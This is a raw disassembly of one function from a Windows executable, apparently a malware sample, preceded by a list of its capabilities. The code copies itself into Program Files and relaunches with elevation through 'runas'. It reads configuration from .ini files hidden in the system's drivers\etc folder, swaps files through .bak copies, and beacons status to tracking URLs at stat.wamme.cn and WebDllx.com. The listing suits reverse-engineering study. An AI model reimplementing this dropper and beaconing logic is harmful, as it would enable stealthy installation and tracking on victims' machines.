Function at 0x401c90
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43e22b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a0
call fcn.00424280
mov eax, dword [0x45193c]
push ebx
mov dword [ebp - 0x14], eax
push esi
mov esi, dword [0x44d0fc]
push edi
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x4422
sub eax, esi
mov dword [ebp - 0x10], esp
push 0
mov dword [str._r_____r____], eax
mov dword [ebp - 4], 0
call fcn.0042423f
add esp, 4
mov esi, eax
mov edi, 0x190
call fcn.0043b7a2
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xdac]
call fcn.00401be0
mov ecx, dword [ebp - 0xdac]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
jmp 0x401d30
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x401d30
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401d43
sub eax, edx
mov dword [ebp - 0xda8], eax
jne 0x401fb1
push str.C:WINDOWS_system32driversetc_service3.ini
push 0x100
lea edx, [ebp - 0x214]
push edx
push 0x440e09
push str.rand
push str.aaaaa
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x214]
push eax
call fcn.0042423a
add esp, 4
test eax, eax
jle 0x401da2
lea ecx, [ebp - 0x214]
push ecx
call fcn.0042423a
add esp, 4
mov esi, eax
mov eax, esi
cdq
idiv edi
mov eax, edx
and eax, 0x80000001
jns 0x401db5
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x401dc2
lea eax, [edx - 1]
lea ecx, [edx + 1]
jmp 0x401dc7
mov eax, edx
lea ecx, [edx + 2]
cmp ecx, edi
mov dword [ebp - 0xda8], ecx
jl 0x401dd8
dec edx
mov dword [ebp - 0xda8], edx
imul eax, eax, 0x1e
lea ebx, [eax + 0x44d110]
push ebx
lea edx, [ebp - 0x114]
push str.C:Program_Files_s
push edx
call fcn.0042415a
add esp, 0xc
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 0xda8]
imul ecx, ecx, 0x1e
add ecx, 0x44d110
push ecx
push ebx
lea edx, [ebp - 0x114]
push str.C:Program_Files_s_s.exe
push edx
call fcn.0042415a
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.00424114
add esp, 0x18
cmp eax, 0xffffffff
jne 0x401ec1
push 0x100
lea ecx, [ebp - 0x214]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x180
lea ecx, [ebp - 0x114]
push 0x800a
push ecx
call fcn.00430ab8
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x401ec1
push 2
push 0
push esi
call fcn.0042cf41
mov edx, dword [ebp - 0xda8]
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
push edx
lea eax, [ebp - 0xc14]
push eax
push esi
call fcn.0042d1ba
push esi
call fcn.0042fea7
add esp, 0x1c
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x214]
push str._s__33201_
push edx
call fcn.0042415a
add esp, 0xc
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xdf0]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xe00]
push eax
lea ecx, [ebp - 0xdf0]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [ebp - 0x214]
push edx
push 0
mov dword [ebp - 0xdf0], 0x44
mov dword [ebp - 0xdc4], 1
mov word [ebp - 0xdc0], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401f3c
push 0
call fcn.004240d4
push ebx
lea eax, [ebp - 0x114]
push str.C:Program_Files_s
push eax
call fcn.0042415a
add esp, 0xc
push 1
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x214]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x402333
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
push 0x44fff0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.004362a7
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x401fb7
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x44d0f4]
mov edi, dword [0x44d0f8]
mov ecx, dword [str._r_____r____]
sub eax, edi
lea edx, [eax + ecx - 0xa59]
lea eax, [ebp - 0xda4]
push eax
push 0x101
mov dword [0x44d0ec], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
push 0
je 0x401ff4
call fcn.004240d4
mov ecx, dword [0x44d0f8]
mov esi, dword [0x44d100]
mov edx, dword [0x44d108]
sub ecx, esi
sub ecx, edx
sub ecx, 0x14e5
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44d0f0], ecx
call fcn.00424114
add esp, 8
cmp eax, 0xffffffff
jne 0x402043
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00424114
add esp, 8
cmp eax, 0xffffffff
je 0x402043
push 0xea60
call ebx
mov edx, dword [0x44d0f0]
mov esi, dword [0x44d104]
mov ecx, dword [str._r_____r____]
sub edx, esi
sub edx, ecx
sub edx, 0x2228
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44d0f4], edx
call fcn.00424114
add esp, 8
cmp eax, 0xffffffff
je 0x40230a
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00424114
add esp, 8
cmp eax, 0xffffffff
je 0x40230a
mov ecx, dword [str._r_____r____]
mov eax, dword [0x44d0f0]
mov edx, dword [0x44d0fc]
push 0x440cd4
push 0x200
add eax, ecx
lea ecx, [ebp - 0xa14]
push ecx
push 0x440e09
push str.ConfigL0
lea eax, [edx + eax + 0x4f44]
push str.GameType1
mov dword [0x44d0fc], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x440e09
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4021ee
lea eax, [ebp - 0xa14]
push eax
lea ecx, [ebp - 0x12b0]
push 0x12c
push ecx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x4021ee
mov edx, dword [ebp - 0x12b0]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402123
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12a4]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x40214a
push str._s_s
jmp 0x40214f
push 0x440cac
push ecx
call fcn.0042415a
add esp, 0x10
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
push str._s.bak
push eax
call fcn.0042415a
add esp, 0xc
push 0
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x414]
push eax
call esi
lea ecx, [ebp - 0x414]
push 0
push ecx
call fcn.00424114
add esp, 8
cmp eax, 0xffffffff
je 0x4021be
lea edx, [ebp - 0x614]
push edx
call esi
push 0
call fcn.004240d4
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [ebp - 0x414]
lea edx, [ebp - 0x814]
mov edi, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4021e0
push 0x64
call ebx
lea eax, [ebp - 0x814]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021f7
sub eax, edx
mov dword [ebp - 0xda8], eax
push 0
jne 0x40220f
call fcn.004240d4
mov edx, dword [0x44d0f0]
mov esi, dword [0x44d104]
mov ecx, dword [0x44d0ec]
sub edx, esi
sub edx, ecx
lea eax, [ebp - 0x814]
add edx, 0x3034
push eax
mov dword [0x44d108], edx
call fcn.00424114
add esp, 8
cmp eax, 0xffffffff
jne 0x4022a4
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
push 0x44fff0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.004362a7
add esp, 0x2c
push 0x2710
call ebx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
call fcn.00424114
add esp, 8
cmp eax, 0xffffffff
je 0x40229d
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00424114
add esp, 8
cmp eax, 0xffffffff
jne 0x4022a4
push 0
call fcn.004240d4
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4022b0
push 0x132b600
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x44fff0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.004362a7
add esp, 0x2c
push 0x2710
call ebx
xor esi, esi
push 0x2710
call ebx
inc esi
jmp 0x402300
mov edx, dword [0x44d0f0]
mov ecx, dword [0x44d10c]
sub ecx, edx
mov edx, dword [0x44d0f4]
lea eax, [ecx + edx + 0x3fc1]
push 0x493e0
mov dword [0x44d0f8], eax
call ebx
push 0
call fcn.004240d4
mov eax, 0x402331
ret